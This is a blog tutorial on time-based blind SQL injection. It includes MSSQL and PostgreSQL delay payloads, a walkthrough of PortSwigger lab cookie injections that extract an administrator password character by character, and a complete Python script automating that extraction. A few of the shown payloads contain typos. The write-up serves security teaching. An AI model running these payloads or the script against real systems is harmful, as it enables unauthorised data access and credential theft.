SQL INJECTION : Part 3.4 — Blind SQL injection vulnerabilities
Exploiting Blind SQL Injection by Triggering Time Delays
SQL INJECTION : Part 3.4 — Blind SQL injection vulnerabilities

Exploiting Blind SQL Injection by Triggering Time Delays
The Blind SQL Injection by Triggering Time Delays vulnerability occurs because the application inserts user input into an SQL query without proper validation or parameterization, allowing an attacker to inject additional SQL statements. In this type of attack, the attacker does not see the query results directly, but can observe differences in the server’s response time.
This technique for triggering time delays is specific to the type of database being used. For example, in Microsoft SQL Server, you can use the following to test a condition and trigger a delay depending on whether the expression evaluates to true:
For example, the query:
SELECT * FROM users WHERE username = '<input_user>'
Payload:
'; IF (1=2) WAITFOR DELAY '0:0:10'--
'; IF (1=1) WAITFOR DELAY '0:0:10'--
The query becomes:
SELECT * FROM users WHERE username = ''; IF (1=2) WAITFOR DELAY '0:0:10';--'
SELECT * FROM users WHERE username = ''; IF (1=1) WAITFOR DELAY '0:0:10';--'
Using WAITFOR DELAY has the effect of introducing a delay in the application when the condition is TRUE, namely 1 = 1. If the condition is FALSE, namely 1 = 2, then it has no effect on the application.
With this testing method, we can also retrieve data by testing the application’s response one condition at a time.
Original query:
SELECT * FROM users WHERE username = 'Administrator’
Payload:
'; IF (SELECT COUNT(username) FROM users WHERE username = 'Administrator' AND SUBSTRING(password, 1, 1) > 'm') = 1 WAITFOR DELAY '0:0:{delay}'--
After the payload is injected, it becomes:
SELECT COUNT(username) FROM users WHERE username='Administrator'AND SUBSTRING(password,1,1) > 'm'
Why does it change like that? Because we have already terminated the original query using the ; character. After that, the system executes a new statement. The purpose of this payload is to determine and examine the password characters of the account with the username Administrator.
Lab Example
In this section, we will use two labs to understand the impact of attacks that exploit time delays in a system.
Lab 1

In this lab, we are asked to test the vulnerability using the SQL Injection with Time Delays technique for 10 seconds.
In this exercise, we simply use String concatenation, which can be found in the PortSwigger cheat sheet. First, we capture the request from the lab.
Next, we will try to inject a payload to introduce a delay into the application.
Original query:
SELECT TrackingId FROM tracking WHERE TrackingId = 'x';
Payload:
'||pg_sleep(10)--
The query becomes:
SELECT TrackingId FROM tracking WHERE TrackingId = 'x'||pg_sleep(10)--';

As shown in the image, we use pg_sleep(10) to introduce a delay on the server, and as a result, the server experiences a 10-second delay. Next, we will change it to 3 seconds to verify whether the lab has been successfully completed.

In this way, we successfully caused the application to experience a 10-second delay.
Lab 2

In this lab, our objective is more specific. In addition to confirming whether the application is vulnerable to Blind SQL Injection with Time Delays, we will determine whether the application contains an account with the username administrator. After that, we will attempt to discover the password of that account.
As usual, we first use Burp Suite to capture the request from the lab. Then, we modify the TrackingId by injecting the following payload:
TrackingId=GOOpv6xlut49obG3' %3BSELECT CASE WHEN (1=1) THEN pg_sleep(10) ELSE pg_sleep(0) END --;

In this test, we create a TRUE condition to test the application's response. As shown, the condition is successfully met because the application experiences a 10-second delay. Next, we will test the FALSE condition to observe how the application responds:
TrackingId=GOOpv6xlut49obG3' %3BSELECT CASE WHEN (1=2) THEN pg_sleep(10) ELSE pg_sleep(0) END --;

Here, we can see that our payload works successfully. When the condition is FALSE, the application behaves normally because we specify a delay of 0.
Since we have confirmed that our payload works correctly, the next step is to determine whether a username named administrator exists in the users table.
TrackingId=GOOpv6xlut49obG3' %3BSELECT CASE WHEN (username='administrator') THEN pg_sleep (10) ELSE pg_sleep (0) ;END FROM users --;

As we can see, the application experiences a delay. From this, we can conclude that an account named administrator exists in the application.
After confirming that the administrator account exists, we will attempt to determine its password. However, before doing so, we first need to determine the length of the password using the following payload:
TrackingId=GOOpv6xlut49obG3'%3BSELECT CASE WHEN (username='administrator' AND LENGTH (password) >1| THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users --;

The purpose of this payload is to determine the length of the password by using the LENGTH() function. The application will respond with a delay as long as the condition remains TRUE, up to the actual length of the password.
TrackingId=GOOpv6xlut49obG3'%3BSELECT CASE WHEN (username='administrator' AND LENGTH (password) >20| THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users --;

As we can see in the final test, the condition becomes FALSE. From this, we can conclude that the application's password is 20 characters long.
Once we know the length of the administrator password, the next step is to guess each character one by one using the following payload:
TrackingId=GOOpv6xlut49obG3' %3BSELECT CASE WHEN (username='administrator' AND SUBSTRING (password, 1, 1) ='a') THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users --;

The purpose of this payload is to ask the server for confirmation: “Is the first character of the password ‘a’?” Since the server does not experience any delay, the first character is not a. We continue changing the tested character until we obtain the correct password. We can use the Intruder feature in Burp Suite Professional to automate this process, but in this case I will use a Python script to retrieve the password.
import requests
import string
import time
# ================== CONFIGURATION ==================
BASE_URL = "https://<LAB-ID>.web-security-academy.net/"
TRACKING_ID_VALUE = "<Tracking-ID>"
SESSION_COOKIE = "<Session-ID>"
PASSWORD_LENGTH = 20
CHARS = string.ascii_lowercase + string.digits
SLEEP_TIME = 6
THRESHOLD = 4.0
# ===================================================
session = requests.Session()
def send_payload(payload):
cookies = {
"TrackingId": payload,
"session": SESSION_COOKIE
}
try:
start = time.time()
r = session.get(BASE_URL, cookies=cookies, timeout=40)
elapsed = time.time() - start
print(f" Time: {elapsed:.2f}s → {'✅' if elapsed > THRESHOLD else '❌'}", end=" ")
return elapsed > THRESHOLD
except:
return False
def test_connection():
print("Trying the payload that most commonly works...\n")
test_payloads = [
f"{TRACKING_ID_VALUE}'%3BSELECT CASE WHEN (1=1) THEN pg_sleep({SLEEP_TIME}) ELSE pg_sleep(0) END FROM users--",
f"{TRACKING_ID_VALUE}';%3BSELECT CASE WHEN (1=1) THEN pg_sleep({SLEEP_TIME}) ELSE pg_sleep(0) END FROM users--",
f"{TRACKING_ID_VALUE}%3BSELECT CASE WHEN (1=1) THEN pg_sleep({SLEEP_TIME}) ELSE pg_sleep(0) END FROM users--",
]
for i, payload in enumerate(test_payloads, 1):
print(f"Test {i}: ", end="")
if send_payload(payload):
print("\n✅ SUCCESS! This payload works.")
return True
time.sleep(1)
return False
def get_password():
password = ""
print(f"\n🔥 Extracting a 20-character password...\n")
for pos in range(1, PASSWORD_LENGTH + 1):
print(f"Position {pos:2d}: ", end="", flush=True)
found = False
for char in CHARS:
# Using the payload format that most commonly works
payload = f"{TRACKING_ID_VALUE}'%3BSELECT CASE WHEN (username='administrator' AND SUBSTRING(password,{pos},1)='{char}') THEN pg_sleep({SLEEP_TIME}) ELSE pg_sleep(0) END FROM users--"
if send_payload(payload):
password += char
print(char, flush=True)
found = True
break
time.sleep(0.3)
if not found:
print("❓")
break
return password
if __name__ == "__main__":
print("=== Blind SQLi - Payload %3B with Quote ===")
print("=" * 65)
if test_connection():
pwd = get_password()
print("\n" + "="*65)
if len(pwd) == PASSWORD_LENGTH:
print(f"🎉 PASSWORD FOUND!")
print(f"Password : {pwd}")
print("\nLogin:")
print(" Username : administrator")
print(f" Password : {pwd}")
else:
print(f"Only found {len(pwd)} characters.")
else:
print("\n❌ All attempts failed.")
print("Try **Reset Lab** and obtain a new cookie.")
Result:

As we can see, I successfully obtained the administrator password.
Next, we will try logging into the application using the administrator account.


The lab has now been successfully completed. From this, we can understand that an SQL Injection vulnerability can exist without displaying any error messages. We can also identify it by observing the server’s response.
Note: The payloads used in this lab are only applicable to PostgreSQL databases. Each database has different payloads, so we must ensure that we are using the correct one. However, the overall concept is essentially the same: we need to terminate the original query first before adding a different SQL statement using the
;character. In the second lab, we used%3B, which is the URL-encoded representation of the;character.
메타데이터
- post_id
- 81e71a0ccd81
- slug
- sql-injection-part-3-4-blind-sql-injection-vulnerabilities-81e71a0ccd81
- url
- https://medium.com/@ronialfredo05/sql-injection-part-3-4-blind-sql-injection-vulnerabilities-81e71a0ccd81
- canonical_url
- https://medium.com/@ronialfredo05/sql-injection-part-3-4-blind-sql-injection-vulnerabilities-81e71a0ccd81
- author_url
- https://medium.com/@ronialfredo05
- status
- ok
- fetched_at
- 2026-08-09 09:46:21